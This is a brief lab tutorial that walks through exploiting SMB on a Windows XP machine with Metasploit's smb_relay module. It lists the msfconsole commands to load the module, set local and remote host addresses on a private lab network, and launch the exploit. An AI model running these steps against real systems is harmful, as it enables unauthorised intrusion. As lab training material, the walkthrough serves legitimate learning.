Exploit smb on win-xp2 used Metasploit

1. Turn on your Laboratory

2. Check your IP address 

3. Turn on metasploit

#msfconsole

4. Use smb for search vulnerable

#use exploit/windows/smb (click tab)

5. Choose smb_relay

#use exploit/windows/smb/smb_relay

6. set host and target

#set lhost 192.168.56.1
#set rhost 192.168.56.101

7. final command :)

#exploit